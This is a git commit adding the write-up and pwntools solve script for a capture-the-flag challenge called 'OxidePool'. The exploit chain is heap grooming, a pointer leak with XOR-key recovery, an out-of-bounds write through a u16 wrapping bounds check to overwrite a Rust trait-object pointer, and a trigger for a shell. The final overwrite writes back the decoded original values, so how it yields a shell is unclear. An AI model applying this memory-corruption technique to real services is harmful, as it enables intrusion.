Init. commit
This commit is contained in:
95
OxidePool-PWN/README.md
Normal file
95
OxidePool-PWN/README.md
Normal file
@@ -0,0 +1,95 @@
|
||||
# OxidePool
|
||||
|
||||
НУ ооочень простой протокол обмена сообщениями....
|
||||
|
||||
## Протокол
|
||||
|
||||
Сетевой протокол little-endian, пакет имеет такой layout:
|
||||
`op:u8 flags:u8 seq:u16 len:u16 csum:u16` + `payload`
|
||||
|
||||
, где `csum` — сумма всех байтов payload по модулю `2^16`.
|
||||
|
||||
Команды:
|
||||
- `0x10 HELLO`, payload: empty.
|
||||
- Ответ: `nonce:u64` + `version:u32`.
|
||||
- `0x11 AUTH`, payload: `token:u64`, где `token = nonce ^ 0xC0DEC0DEC0DEC0DE`.
|
||||
- `0x20 ALLOC`, payload: `count:u16` (количество аллокаций в сессии).
|
||||
- `0x21 FREE`, payload: `idx:u16` (освобождение слота).
|
||||
- `0x22 SELECT`, payload: `idx:u16` (выбор активного слота).
|
||||
- `0x30 WRITE`, payload: `offset:u16`, `len:u16`, `data[len]`.
|
||||
- Работает если выставлен флаг `flags & 1`.
|
||||
- `0x31 TRIGGER`, payload: empty (запускает handler).
|
||||
- `0x40 LEAK`, payload: `stage:u8` (`0` или `1`).
|
||||
|
||||
## Идея эксплойта
|
||||
|
||||
Уязвимость в `Session` связана с неверной проверкой границ в `WRITE`:
|
||||
|
||||
- layout структуры:
|
||||
|
||||
```text
|
||||
[ buf: [u8; 0xFFF0] ][ handler: Box<dyn Handler> ][ guard: u64 ]
|
||||
```
|
||||
|
||||
- проверка границы идёт через `u16`:
|
||||
|
||||
```rust
|
||||
let end = offset.wrapping_add(data.len() as u16);
|
||||
if end <= BUF_SIZE as u16 {
|
||||
ptr::copy(data.as_ptr(), buf.add(offset as usize), data.len());
|
||||
}
|
||||
```
|
||||
|
||||
Из-за `wrapping_add` и `u16` `end` переполняется, и запись с `offset=0xFFF0`, `len=16` проходит проверку, хотя фактически выходит за `buf`.
|
||||
|
||||
Это даёт OOB overwrite в `handler` (fat pointer: data ptr + vtable ptr) и позволяет переписать `vtable` на адрес из утёкших данных после декодирования.
|
||||
|
||||
ASLR/PIE включены, поэтому нужен leak ключа шифрования для расшифровки указателей.
|
||||
|
||||
## Решение
|
||||
|
||||
1. Сделать `HELLO`
|
||||
- Отправить `0x10 HELLO`.
|
||||
- Получить `nonce`.
|
||||
|
||||
2. Аутентифицироваться
|
||||
- Отправить `0x11 AUTH` с токеном `nonce ^ 0xC0DEC0DEC0DEC0DE`.
|
||||
- Получить обычный ACK.
|
||||
|
||||
3. Построить/подготовить session (`heap grooming`)
|
||||
- `ALLOC` на 5 слотов (`count=5`).
|
||||
- `FREE` одного слота (`idx=1`).
|
||||
- `SELECT` слота с индексом 0 (`idx=0`).
|
||||
|
||||
4. Вытянуть замаскированные указатели через LEAK
|
||||
- `LEAK` с `stage=0` -> получаем `masked_data` и `masked_vtable`.
|
||||
- `LEAK` с `stage=1` -> получаем `key_hint`.
|
||||
|
||||
5. Вычислить XOR-ключ. Например, это можно сделать следующим образом:
|
||||
```python
|
||||
key = key_hint ^ (nonce + 0x9E3779B97F4A7C15)
|
||||
key = ror(key, 11)
|
||||
```
|
||||
Где `ror` — циклический сдвиг вправо на 11 бит в 64-битах.
|
||||
|
||||
6. Расшифровать реальные поля:
|
||||
```python
|
||||
data = masked_data ^ key
|
||||
vtable = masked_vtable ^ key
|
||||
```
|
||||
Тут `data` указывает на управляемый буфер, `vtable` — легитимный указатель на dispatch таблицу.
|
||||
|
||||
7. Записать OOB-переписыванием fat pointer
|
||||
- Сформировать payload:
|
||||
- `offset = 0xFFF0`
|
||||
- `len = 16`
|
||||
- `data = p64(data) + p64(vtable)`
|
||||
- Отправить `0x30 WRITE` с `flags=1`.
|
||||
|
||||
За счёт переполнения `end` запись уходит в область после буфера и перезаписывает указатель обработчика на контролируемые значения.
|
||||
|
||||
8. Вызвать обработчик
|
||||
- Отправить `0x31 TRIGGER`.
|
||||
- Должен отработать изменённый callback.
|
||||
|
||||
9. Получить доступ к shell.
|
||||
89
OxidePool-PWN/solve.py
Normal file
89
OxidePool-PWN/solve.py
Normal file
@@ -0,0 +1,89 @@
|
||||
#!/usr/bin/env python3
|
||||
from pwn import *
|
||||
|
||||
context.binary = None
|
||||
context.log_level = "info"
|
||||
|
||||
HOST = args.HOST or "127.0.0.1"
|
||||
PORT = int(args.PORT or 31337)
|
||||
|
||||
BUF_SIZE = 0xFFF0
|
||||
|
||||
|
||||
def checksum(data: bytes) -> int:
|
||||
return sum(data) & 0xFFFF
|
||||
|
||||
|
||||
def pack_pkt(op: int, seq: int, payload: bytes = b"", flags: int = 0) -> bytes:
|
||||
hdr = p8(op) + p8(flags) + p16(seq) + p16(len(payload)) + p16(checksum(payload))
|
||||
return hdr + payload
|
||||
|
||||
|
||||
def recv_reply(io):
|
||||
hdr = io.recvn(8)
|
||||
op = hdr[0]
|
||||
seq = u16(hdr[2:4])
|
||||
ln = u16(hdr[4:6])
|
||||
csum = u16(hdr[6:8])
|
||||
payload = io.recvn(ln)
|
||||
if checksum(payload) != csum:
|
||||
log.failure("bad checksum")
|
||||
return op, seq, payload
|
||||
|
||||
|
||||
def main():
|
||||
io = remote(HOST, PORT)
|
||||
seq = 1
|
||||
|
||||
io.send(pack_pkt(0x10, seq))
|
||||
_, _, payload = recv_reply(io)
|
||||
nonce = u64(payload[0:8])
|
||||
log.info(f"nonce=0x{nonce:x}")
|
||||
seq += 1
|
||||
|
||||
token = nonce ^ 0xC0DEC0DEC0DEC0DE
|
||||
io.send(pack_pkt(0x11, seq, p64(token)))
|
||||
recv_reply(io)
|
||||
seq += 1
|
||||
|
||||
io.send(pack_pkt(0x20, seq, p16(5)))
|
||||
recv_reply(io)
|
||||
seq += 1
|
||||
|
||||
io.send(pack_pkt(0x21, seq, p16(1)))
|
||||
recv_reply(io)
|
||||
seq += 1
|
||||
|
||||
io.send(pack_pkt(0x22, seq, p16(0)))
|
||||
recv_reply(io)
|
||||
seq += 1
|
||||
|
||||
io.send(pack_pkt(0x40, seq, b"\x00"))
|
||||
_, _, payload = recv_reply(io)
|
||||
masked_data = u64(payload[0:8])
|
||||
masked_vtable = u64(payload[8:16])
|
||||
seq += 1
|
||||
|
||||
io.send(pack_pkt(0x40, seq, b"\x01"))
|
||||
_, _, payload = recv_reply(io)
|
||||
key_hint = u64(payload[0:8])
|
||||
seq += 1
|
||||
|
||||
key = (key_hint ^ (nonce + 0x9E3779B97F4A7C15))
|
||||
key = ((key >> 11) | (key << (64 - 11))) & 0xFFFFFFFFFFFFFFFF
|
||||
|
||||
data = masked_data ^ key
|
||||
vtable = masked_vtable ^ key
|
||||
log.info(f"data=0x{data:x} vtable=0x{vtable:x}")
|
||||
|
||||
payload = p16(BUF_SIZE) + p16(16) + p64(data) + p64(vtable)
|
||||
io.send(pack_pkt(0x30, seq, payload, flags=1))
|
||||
recv_reply(io)
|
||||
seq += 1
|
||||
|
||||
io.send(pack_pkt(0x31, seq))
|
||||
io.interactive()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user